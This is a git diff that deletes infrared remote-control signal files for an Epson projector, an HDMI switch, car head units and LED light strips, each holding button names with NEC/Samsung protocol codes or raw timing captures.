b/assets/ir_optional_assets/optional-assets/Epson.ir deleted file mode 100644 index b29d592f7..000000000 --- a/assets/ir_optional_assets/optional-assets/Epson.ir +++ /dev/null @@ -1,110 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 90 6F 00 00 -# -name: Hdmi_1 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 73 8C 00 00 -# -name: Hdmi_2 -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 77 88 00 00 -# -name: Lan -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 74 8B 00 00 -# -name: Video -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 70 8F 00 00 -# -name: Pc -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9D 62 00 00 -# -name: Play -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 5E A1 00 00 -# -name: Pause -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 5B A4 00 00 -# -name: Stop -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 59 A6 00 00 -# -name: Vol_down -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 99 66 00 00 -# -name: Vol_up -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 98 67 00 00 -# -name: Menu -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 9A 65 00 00 -# -name: Enter -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 85 7A 00 00 -# -name: Up -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B0 4F 00 00 -# -name: Down -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B2 4D 00 00 -# -name: Left -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B3 4C 00 00 -# -name: Right -type: parsed -protocol: NECext -address: 83 55 00 00 -command: B1 4E 00 00 -# -name: Home -type: parsed -protocol: NECext -address: 83 55 00 00 -command: 95 6A 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Hdmi_switch.ir b/assets/ir_optional_assets/optional-assets/Hdmi_switch.ir deleted file mode 100644 index e413dfc0b..000000000 --- a/assets/ir_optional_assets/optional-assets/Hdmi_switch.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0C 00 00 00 -# -name: Hdmi_1 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 01 00 00 00 -# -name: Hdmi_2 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 03 00 00 00 -# -name: Hdmi_3 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 07 00 00 00 -# -name: Hdmi_4 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 09 00 00 00 -# -name: Hdmi_5 -type: parsed -protocol: NEC -address: 80 00 00 00 -command: 0D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Head Units/GPX/GPX_CDRadio.ir b/assets/ir_optional_assets/optional-assets/Head Units/GPX/GPX_CDRadio.ir deleted file mode 100644 index 84b3e3f27..000000000 --- a/assets/ir_optional_assets/optional-assets/Head Units/GPX/GPX_CDRadio.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Stop -type: parsed -protocol: Samsung32 -address: 81 00 00 00 -command: 09 00 00 00 -# -name: Play_pause -type: parsed -protocol: Samsung32 -address: 81 00 00 00 -command: 01 00 00 00 -# -name: Skip_bck -type: parsed -protocol: Samsung32 -address: 81 00 00 00 -command: 19 00 00 00 -# -name: Skip_fwd -type: parsed -protocol: Samsung32 -address: 81 00 00 00 -command: 11 00 00 00 -# -name: Prog -type: parsed -protocol: Samsung32 -address: 81 00 00 00 -command: 1A 00 00 00 -# -name: Repeat -type: parsed -protocol: Samsung32 -address: 81 00 00 00 -command: 02 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir b/assets/ir_optional_assets/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir deleted file mode 100644 index c44576983..000000000 --- a/assets/ir_optional_assets/optional-assets/Head Units/Pioneer/Pioneer_DMH-1770NEX.ir +++ /dev/null @@ -1,22 +0,0 @@ -Pioneer_mute RAW F:38000 DC:33 8551 4219 566 1562 563 534 544 1584 541 1587 549 524 543 1584 541 506 572 1582 543 528 540 1564 571 526 542 531 547 1581 544 528 540 1563 573 525 542 1560 565 532 546 527 541 1587 538 1590 546 527 541 532 546 526 541 531 547 1581 544 1584 541 506 572 526 542 1586 539 1589 547 1556 569 26876 8542 4226 569 1584 541 1588 548 1581 544 1585 540 531 547 1582 543 529 539 1590 546 526 541 530 548 525 543 529 539 1589 547 526 542 1587 538 533 545 527 541 531 547 525 542 529 539 1590 546 1583 542 529 538 533 545 1584 541 1587 549 1580 545 1559 566 531 547 525 543 1586 539 1589 547 -Vol_up RAW F:38000 DC:33 8548 4219 565 1562 573 524 543 1559 566 1562 563 534 544 1559 566 531 547 1581 544 528 540 1588 547 525 542 529 538 1589 546 526 541 1586 539 533 545 527 541 1562 573 524 543 1584 541 530 548 525 542 504 574 524 543 1559 566 531 547 1556 569 528 539 1588 547 1555 570 1558 567 1586 539 26875 8540 4227 568 1559 566 531 547 1556 569 1559 566 506 572 1556 569 503 564 1563 572 525 542 1560 565 507 571 526 541 1562 563 509 569 1558 567 530 548 525 542 1585 540 532 546 1557 568 529 538 534 544 528 539 533 545 1558 567 505 573 1556 569 528 539 1563 572 1581 544 1559 566 1586 539 -Vol_dwn RAW F:38000 DC:33 8546 4221 564 1588 547 525 542 1585 540 1588 548 525 542 1585 540 532 546 1582 543 529 538 1564 571 526 541 531 547 1581 544 528 540 1588 547 525 542 1586 539 1589 546 526 541 1586 539 533 545 528 539 533 545 527 540 532 546 526 541 1587 538 534 544 1584 541 1586 539 1589 546 1581 544 26872 8543 4223 572 1581 544 528 540 1588 547 1580 545 527 540 1587 549 524 543 1584 541 531 547 1581 544 528 539 508 570 1583 542 530 548 1580 545 527 540 1587 549 1579 546 526 542 1587 538 534 544 528 540 533 545 527 541 532 546 526 541 1586 539 533 545 1583 542 1560 565 1588 547 1580 545 26873 8542 4226 569 1583 542 530 548 1580 545 1583 542 530 548 1580 545 527 540 1587 538 534 544 1584 541 531 547 525 542 1585 540 532 546 1582 543 530 548 1579 546 1582 543 529 539 1589 547 525 542 530 548 524 544 528 539 533 545 527 541 1587 548 524 543 1584 541 1586 539 1589 546 1581 544 -Mode RAW F:38000 DC:33 8549 4218 567 1586 539 533 545 1583 542 1586 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 525 542 530 548 1580 545 528 539 1588 547 525 542 1585 540 533 545 527 541 1588 547 1580 545 527 541 532 546 527 540 532 546 1581 544 1583 542 531 547 525 542 1585 540 1587 548 1579 546 26867 8548 4216 569 1559 566 1587 548 1580 545 1583 542 530 548 1580 545 527 540 1587 549 523 544 527 541 531 547 525 542 1586 539 532 546 1582 543 529 538 1590 545 1583 542 1586 539 533 545 1583 542 1586 539 532 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 538 1590 545 1557 568 -Menu RAW F:38000 DC:33 8542 4224 571 1582 543 529 538 1589 546 1557 568 529 539 1589 547 525 543 1585 540 532 546 1557 568 504 563 534 544 1584 541 531 547 1580 545 528 539 1588 547 525 542 529 549 1579 546 1582 543 529 538 534 544 1584 541 532 546 1582 543 1584 541 531 547 526 541 1587 538 1589 546 526 541 26879 8544 4226 568 1561 564 1566 569 1560 565 1564 571 526 541 1562 573 524 543 1560 565 532 546 526 541 530 548 524 543 1561 564 533 545 1559 566 531 547 1557 568 529 539 1565 570 1558 567 530 548 1557 568 1560 565 532 546 526 541 1563 572 525 542 529 538 1566 569 527 540 531 547 1557 568 -Src RAW F:38000 DC:33 8548 4221 563 1590 545 527 540 1587 548 1580 545 527 540 1588 547 525 542 1586 539 533 545 1584 541 531 547 526 541 1586 539 533 545 1584 541 531 547 526 541 1587 548 525 542 1586 539 1589 546 526 541 531 547 526 541 1587 548 524 543 1585 540 533 545 527 540 1588 547 1580 545 1583 542 26880 8544 4226 569 1560 565 532 546 1582 543 1585 540 533 545 1583 542 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 528 539 1588 547 1581 544 529 538 534 544 528 539 1589 546 526 541 1587 548 524 543 529 538 1589 546 1582 543 1585 540 -Top_menu RAW F:38000 DC:33 8551 4217 567 1561 564 509 569 1559 566 1561 564 509 569 1559 566 506 572 1556 569 503 575 1554 571 501 566 506 572 1556 569 503 575 1553 572 500 567 1561 574 497 570 502 565 1563 572 1556 569 503 575 498 569 1558 567 506 572 1556 569 1559 566 507 571 501 566 1562 573 1554 571 501 566 26880 8553 4216 568 1561 564 1565 570 1559 566 1563 572 499 568 1562 563 508 570 1560 565 507 571 526 541 530 548 525 542 1562 573 523 544 1560 565 531 547 526 541 530 548 1557 568 1561 564 532 546 1559 566 1563 572 524 543 1561 564 1565 570 526 541 531 547 1558 567 529 549 523 544 1559 566 -Up RAW F:38000 DC:33 8547 4221 563 1565 570 527 540 1587 548 1580 545 527 540 1587 548 524 544 1585 540 532 546 1582 543 530 548 524 543 1584 541 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1584 541 531 547 526 541 1586 539 534 544 1584 541 1587 538 534 544 528 539 1588 547 1581 544 528 539 26881 8543 4224 571 1583 542 1587 548 1556 569 1560 565 531 547 1583 542 529 549 1581 544 527 541 532 546 526 541 530 548 1581 544 528 539 1589 546 526 541 1587 538 534 544 1585 540 531 547 1582 543 1586 539 1590 545 526 541 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 1586 539 -Down RAW F:38000 DC:33 8544 4223 571 1581 544 528 540 1588 547 1580 545 527 540 1587 548 524 543 1584 541 532 546 1581 544 528 539 533 545 1582 543 529 549 1579 546 526 541 1585 540 532 546 527 540 1587 538 1588 547 525 542 530 548 1580 545 527 540 1587 538 1589 546 526 541 531 547 1580 545 1582 543 529 538 26875 8547 4217 567 1586 539 1589 546 1582 543 1585 540 532 546 1582 543 529 538 1590 545 526 541 530 548 524 543 528 539 1589 546 525 542 1586 539 532 546 526 541 1587 548 1580 545 527 540 1587 548 1580 545 1583 542 530 548 1580 545 527 540 531 547 1581 544 528 539 532 546 526 541 1586 539 26872 8540 4225 569 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 533 545 1583 542 530 548 524 543 1584 541 531 547 1581 544 528 539 1588 547 525 542 529 538 1589 546 1581 544 528 539 533 545 1583 542 530 548 1579 546 1582 543 529 538 534 544 1584 541 1586 539 533 545 26871 8542 4223 572 1581 544 1585 540 1588 547 1581 544 528 539 1589 546 525 542 1586 539 532 546 526 541 530 548 524 543 1585 540 532 546 1582 543 529 538 533 545 1584 541 1588 547 525 542 1585 540 1589 546 1582 543 529 538 1590 545 526 541 530 548 1581 544 527 540 531 547 525 542 1585 540 -L RAW F:38000 DC:33 8542 4224 571 1557 568 529 538 1589 546 1581 544 528 539 1588 547 525 542 1585 540 532 546 1582 543 530 548 524 543 1584 541 531 547 1581 544 528 539 1589 547 526 541 530 548 1580 545 1582 543 530 548 524 543 1584 541 531 547 1581 544 1584 541 531 547 525 542 1586 539 1588 547 525 542 26875 8549 4216 568 1585 540 1589 546 1583 542 1586 539 533 545 1584 541 531 547 1581 544 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 529 539 1590 545 1584 541 1588 547 1582 543 528 539 1589 546 1583 542 1586 539 533 545 527 540 532 546 526 541 1587 538 -R RAW F:38000 DC:33 8543 4222 573 1579 546 526 541 1586 539 1588 547 525 542 1585 540 532 546 1581 544 528 539 1588 547 525 542 529 549 1579 546 527 540 1587 538 534 544 1584 541 531 547 526 541 1586 539 1588 547 525 542 530 548 1580 545 527 541 1587 548 1579 546 526 541 531 547 1580 545 1583 542 530 548 26867 8546 4220 564 1589 546 1582 543 1585 540 1589 546 525 542 1586 539 533 545 1584 541 530 548 524 543 528 540 533 545 1583 542 530 548 1580 545 527 540 1588 547 1581 544 1585 540 532 546 1583 542 1586 539 1589 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 539 533 545 1583 542 -Enter RAW F:38000 DC:33 8547 4219 565 1587 548 524 543 1584 541 1587 538 534 544 1584 541 531 547 1581 544 528 539 1589 546 525 542 530 548 1580 545 527 540 1586 539 533 545 1583 542 530 548 525 542 1585 540 1587 548 524 543 529 538 1589 546 525 542 1585 540 1588 547 525 542 529 538 1589 546 1581 544 528 539 26874 8548 4219 565 1588 547 1582 543 1585 540 1589 546 525 542 1587 538 533 545 1584 541 531 547 525 542 529 549 523 544 1584 541 531 547 1582 543 529 538 1591 544 527 540 531 547 1582 543 1586 539 1589 546 1583 542 529 549 523 544 1585 540 1588 547 525 542 529 539 533 545 527 540 1588 547 -Audio RAW F:38000 DC:33 8543 4224 570 1557 568 529 549 1579 546 1557 568 529 538 1589 546 526 541 1586 539 534 544 1583 542 531 547 526 541 1586 539 533 545 1584 541 531 547 1581 544 529 538 534 544 1584 541 1586 539 534 544 529 538 1589 546 526 541 1586 539 1564 571 526 541 531 547 1581 544 1584 541 532 546 26873 8550 4218 566 1562 573 1555 570 1559 566 1563 572 524 543 1585 540 533 545 1584 541 531 547 525 542 529 538 534 544 1584 541 531 547 1582 543 529 538 534 544 528 539 1589 546 1582 543 1586 539 1565 570 1584 541 531 547 1583 542 1587 548 523 544 528 539 532 546 527 540 531 547 1581 544 -Sub_title RAW F:38000 DC:33 8541 4228 566 1561 564 509 589 1538 597 1532 562 510 568 1560 565 508 570 1558 567 505 573 1556 569 503 595 477 590 1538 566 506 571 1556 569 504 563 1565 570 503 564 508 570 1559 566 1563 572 524 543 505 562 1566 569 503 564 1563 572 1557 568 504 594 478 569 1584 541 1587 538 534 544 26878 8544 4250 544 1585 540 1563 572 1583 542 1612 513 559 519 1611 514 557 521 1609 516 556 521 550 517 554 513 559 519 1634 491 557 521 1608 517 555 523 1606 519 1610 494 578 520 1634 491 1614 521 1608 517 1612 513 559 519 553 514 582 496 1609 516 557 520 550 517 580 498 550 497 1656 489 -Angle RAW F:38000 DC:33 8540 4225 570 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 534 544 1584 541 531 547 525 542 1585 540 533 545 1582 543 530 548 1579 546 527 540 531 547 1581 544 1583 542 531 547 525 542 1585 540 532 546 1582 543 1585 540 532 546 526 541 1586 539 1589 546 525 542 26874 8548 4218 566 1587 538 1590 545 1584 541 1587 548 524 543 1584 541 531 547 1582 543 529 538 533 545 527 540 531 547 1582 543 528 539 1589 546 526 541 1587 538 533 545 1584 541 1587 548 1580 545 1584 541 1588 547 525 542 529 538 1590 545 527 540 531 547 525 542 530 548 523 544 1584 541 -Play_pause RAW F:38000 DC:33 8542 4224 570 1582 543 529 538 1589 546 1581 544 529 539 1589 546 526 541 1586 539 533 545 1583 542 530 548 525 542 1585 540 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1583 542 531 547 525 542 1586 539 533 545 1583 542 1586 539 534 544 528 539 1589 546 1581 544 528 539 26874 8548 4217 567 1586 539 1589 546 1582 543 1586 539 533 545 1584 541 531 547 1582 543 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 1587 548 1581 544 528 539 532 546 1584 541 1588 547 1582 543 529 538 533 545 528 539 1589 546 1582 543 529 549 524 543 528 539 1588 547 -Stop_ RAW F:38000 DC:33 8550 4218 566 1563 572 500 567 1561 574 1554 571 502 565 1563 572 500 567 1561 564 509 569 1559 566 507 571 502 565 1562 573 500 567 1561 564 508 569 1559 566 507 571 502 565 1563 572 1556 569 504 563 509 569 1559 566 507 571 1558 567 1561 564 509 569 503 564 1564 571 1557 568 505 573 26872 8547 4221 573 1556 569 1559 566 1564 571 1557 568 504 573 1554 571 501 566 1563 572 500 567 504 573 499 568 503 564 1564 571 501 566 1562 573 499 568 503 574 498 569 1559 566 506 572 1557 568 1561 574 1555 570 501 566 1563 572 1557 568 503 564 1564 571 500 567 529 549 523 544 1559 566 -Rew RAW F:38000 DC:33 8541 4225 569 1559 566 531 547 1581 544 1584 541 531 547 1581 544 529 538 1588 547 526 541 1586 539 533 544 528 539 1588 547 525 542 1585 540 533 544 1582 543 530 548 525 542 1584 541 1587 548 524 543 529 538 1589 546 526 541 1586 539 1588 547 525 542 530 548 1580 545 1582 543 529 549 26866 8542 4221 573 1555 570 1559 566 1563 572 1556 569 527 540 1588 547 525 542 1561 564 533 545 527 540 531 547 525 542 1585 540 532 545 1558 567 530 548 524 543 528 539 1589 546 1558 567 529 549 1556 569 1560 565 1563 572 1557 568 1560 565 532 545 526 541 1563 572 524 543 528 539 532 545 26866 8542 4225 569 1558 567 531 547 1555 570 1558 567 530 548 1555 570 527 540 1562 563 534 543 1559 566 531 547 525 542 1561 564 533 544 1557 568 530 537 1564 571 526 541 531 546 1556 569 1558 567 531 547 525 542 1560 565 532 545 1557 568 1560 565 532 545 527 540 1562 563 1564 571 526 541 26868 8541 4223 571 1557 568 1561 564 1564 571 1557 568 528 539 1565 570 525 542 1562 573 523 544 527 540 532 546 526 541 1562 573 522 545 1559 566 530 547 524 543 529 538 1565 570 1558 567 529 549 1556 569 1559 566 1563 572 1556 569 1560 565 531 547 526 541 1562 573 523 544 528 539 531 547 -Ff RAW F:38000 DC:33 8540 4227 567 1561 564 533 545 1583 542 1561 564 533 545 1583 542 531 547 1580 545 528 539 1588 547 525 542 530 548 1554 571 526 541 1586 539 533 545 1583 542 530 548 525 542 1584 541 1562 573 524 543 528 539 1588 547 525 542 1585 540 1563 572 525 542 530 548 1579 546 1556 569 529 538 26872 8548 4218 566 1563 572 1556 569 1560 565 1563 572 524 543 1585 540 532 546 1582 543 530 548 524 543 528 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 1557 568 529 538 1565 570 526 541 1562 573 1556 569 1560 565 531 547 525 542 1586 539 533 544 1559 566 531 547 525 542 528 539 -Band RAW F:38000 DC:33 8544 4221 563 1564 571 526 541 1586 539 1589 546 525 542 1586 539 533 545 1582 543 530 548 1579 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1581 544 528 539 533 545 527 540 1587 548 524 543 1584 541 1587 538 534 544 1584 541 1587 538 1589 546 26868 8544 4220 564 1588 547 525 542 1585 540 1587 548 524 543 1584 541 532 546 1581 544 529 538 1589 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1580 545 528 539 532 546 527 540 1587 548 524 543 1584 541 1586 539 534 544 1583 542 1586 539 1588 547 -Folder_l RAW F:38000 DC:33 8541 4222 572 1555 570 503 564 1562 573 1555 570 502 565 1561 574 498 569 1558 567 505 573 1555 570 502 565 506 571 1556 569 503 564 1563 572 500 567 1560 565 506 572 501 566 1561 564 1564 571 500 567 504 573 1555 570 501 566 1562 573 1554 571 501 566 506 572 1556 569 1558 567 530 548 26862 8547 4217 567 1562 573 1555 570 1559 566 1562 573 523 544 1560 565 531 547 1557 568 528 539 533 544 527 540 531 547 1557 568 528 539 1564 571 525 542 529 549 1555 570 526 541 530 548 1556 569 1559 566 1563 572 524 543 1561 564 532 546 1558 567 1562 573 523 544 528 539 532 546 1557 568 -Folder_r RAW F:38000 DC:33 8542 4221 573 1554 571 501 566 1561 564 1564 571 500 567 1561 564 507 571 1557 568 504 574 1554 571 525 542 505 572 1555 570 527 540 1562 573 524 543 1559 566 531 547 501 566 1561 564 1563 572 500 567 504 573 1555 570 502 565 1562 573 1555 570 502 565 506 571 1557 568 1559 566 506 572 26865 8544 4219 565 1565 570 1558 567 1561 564 1565 570 526 541 1562 573 523 544 1560 565 531 547 525 542 529 548 523 544 1560 565 531 547 1557 568 528 539 1564 571 524 543 528 539 532 545 1557 568 1561 564 1565 570 525 542 529 549 1579 546 1583 542 1586 539 532 545 526 541 531 547 1580 545 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir deleted file mode 100644 index 87fe70185..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/Amazon/Amazon_LED_Lights.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 40 00 00 00 -# -name: Bright_up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 9029 4463 592 540 598 534 594 539 599 533 595 538 600 532 596 537 601 531 597 1642 593 1647 598 1640 595 1643 592 1647 598 1640 595 1644 601 1637 598 534 594 539 599 1639 596 1642 593 1646 599 532 596 1643 592 540 598 1641 594 1644 601 531 649 431 707 477 599 1641 594 538 600 1638 597 39704 9026 2222 598 95884 9034 2217 603 -# -name: Bright_dn -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: Red -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 58 00 00 00 -# -name: Green -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 59 00 00 00 -# -name: Blue -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: White -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 44 00 00 00 -# -name: Red_up -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Red_dn -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 10 00 00 00 -# -name: Green_up -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Green_dn -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 11 00 00 00 -# -name: Blue_up -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 16 00 00 00 -# -name: Blue_dn -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 12 00 00 00 -# -name: Quick -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 17 00 00 00 -# -name: Slow -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 13 00 00 00 -# -name: Auto -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: Flash -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir deleted file mode 100644 index 0dc2f92d5..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/44_Button_LED.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: On -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 41 00 00 00 -# -name: Off -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 40 00 00 00 -# -name: R -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 58 00 00 00 -# -name: G -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 59 00 00 00 -# -name: B -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 45 00 00 00 -# -name: W -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 44 00 00 00 -# -name: Yellow -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 54 00 00 00 -# -name: Light_blue -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 55 00 00 00 -# -name: Turqouise -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 49 00 00 00 -# -name: Pink -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 48 00 00 00 -# -name: Orange -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Teal -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 51 00 00 00 -# -name: Purple -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: Other_Pink -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: Song_1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 893 380 1378 197 366 298 765 431 314 627 1024 177 330 196 5880 277 1893 224 890 178 1226 175 779 197 995 201 910 179 1960 177 4321 194 18031 196 4303 197 13402 176 42880 353 737 306 386 227 916 199 757 178 247 197 2941 199 -# -name: Song_2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3924 313 331 308 4120 4604 520 673 441 567 547 591 544 596 518 647 518 620 464 650 516 596 518 1755 515 1734 516 1705 545 1729 521 1754 516 1731 519 1729 521 1752 488 1736 544 673 482 1684 545 1781 520 1676 523 564 571 673 462 625 540 572 512 1761 519 620 494 644 491 594 520 1756 514 1758 492 1758 543 40082 5117 252 883 257 2433 2387 405 -# -name: Song_3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: Song_4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 600 333 301 365 780 69 171 363 178 302 178 834 3926 229 353 2368 464 -# -name: 1H -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 224 256 377 337 179 247 514 67 280 464 200 411 621 892 519 92 178 246 198 10727 179 1252 179 587 430 894 251 674 179 1277 175 1780 413 1859 431 1788 461 1838 411 1754 516 1758 461 1838 462 1915 304 703 432 732 249 783 515 1756 514 1810 179 1041 201 778 490 992 178 1696 334 1965 458 1894 355 703 432 652 513 1707 512 1760 489 1784 435 40115 4677 260 1713 92 178 429 199 278 1153 2443 359 -# -name: 2H -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 19 00 00 00 -# -name: 3H -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 279 5274 197 4429 177 76285 177 566 226 676 177 1678 280 409 179 775 252 2877 272 -# -name: 4H -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 305 3787 252 623 246 1374 200 -# -name: Up_Red -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Down_Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 330 469 226 1028 173 11424 197 1897 414 940 225 727 177 2022 176 1097 196 3351 171 1784 179 4587 178 76935 201 1419 171 105637 9017 2286 515 96289 9096 2258 513 -# -name: Up_Green -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Down_Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 196 419 179 462 197 579 198 575 222 393 302 1031 277 470 675 419 179 487 177 7232 196 2192 200 4468 169 23361 176 -# -name: Up_Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 2583 223 3345 599 198 11164 410 911 223 780 334 776 225 777 460 1892 377 1974 306 4130 379 1893 305 1861 178 2277 222 1812 355 754 196 2258 195 2024 225 910 255 1858 278 858 379 862 175 987 224 1889 329 860 356 700 199 2124 299 759 437 1859 380 1894 304 1807 514 40011 1706 277 4671 225 991 303 198 278 223 2628 326 -# -name: DIY1 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: DIY2 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: DIY3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: DIY4 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 08 00 00 00 -# -name: DIY5 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 09 00 00 00 -# -name: DIY6 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: Quick -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 17 00 00 00 -# -name: Slow -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 13 00 00 00 -# -name: Auto -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: Flash -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: Jump3 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 04 00 00 00 -# -name: Jump7 -type: parsed -protocol: NEC -address: 00 00 00 00 -command: 05 00 00 00 -# -name: Fade3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 196 68 172 22157 176 11027 226 74363 378 311 772 339 305 303 218 311 251 305 247 283 381 305 196 439 179 615 514 413 333 619 173 2786 307 -# -name: Fade7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 175 111506 172 diff --git a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir b/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir deleted file mode 100644 index a14f723fe..000000000 --- a/assets/ir_optional_assets/optional-assets/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Off -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 4076 4497 331 539 335 583 291 532 331 539 335 584 290 581 293 532 331 541 333 1648 329 1651 336 1690 287 1696 291 1642 335 1648 339 1644 333 1649 338 536 338 1644 333 1650 337 537 337 536 338 537 337 536 338 537 337 1647 330 587 287 537 337 1694 293 1640 337 1692 285 1648 339 1690 287 59795 13271 2259 280 98396 13269 2276 273 98426 13292 2256 272 98428 13268 2283 277 98424 13273 2276 273 -# -name: On -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 174 8463 294 580 262 609 265 626 279 578 264 626 279 563 259 592 172 1052 264 1731 256 1715 293 1694 345 1652 252 1734 253 1721 266 1721 266 3719 178 39 179 6228 281 4075 285 1710 298 1687 279 1708 279 1646 341 1705 272 59603 196 12564 180 183 181 2173 278 98492 247 10659 1351 122 174 339 290 2280 259 98501 250 10985 177 115 587 119 177 291 177 115 176 2295 249 98530 250 10658 2279 